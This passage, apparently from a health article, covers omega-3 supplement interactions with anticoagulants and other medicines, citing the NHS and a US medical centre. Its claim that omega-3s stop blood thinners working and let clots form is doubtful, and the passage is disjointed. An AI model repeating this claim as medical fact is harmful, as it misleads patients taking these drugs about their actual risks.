According to the NHS, they are used for people who are at risk of developing blood clots that could block a blood vessel and disrupt the flow of blood around your body.
These conditions include strokes, heart attacks, deep vein thombrosis, transient ischaemic attacks and pulmonary embolism.
This is because omega-3s can stop them working – potentially allowing a blood clot to form.
The University of Maryland Medical Centre also warns against using omega-3 supplements if you’re on blood sugar-lowering medications, cholesterol-lowering medications and non-steroidal anti-inflammatory drugs.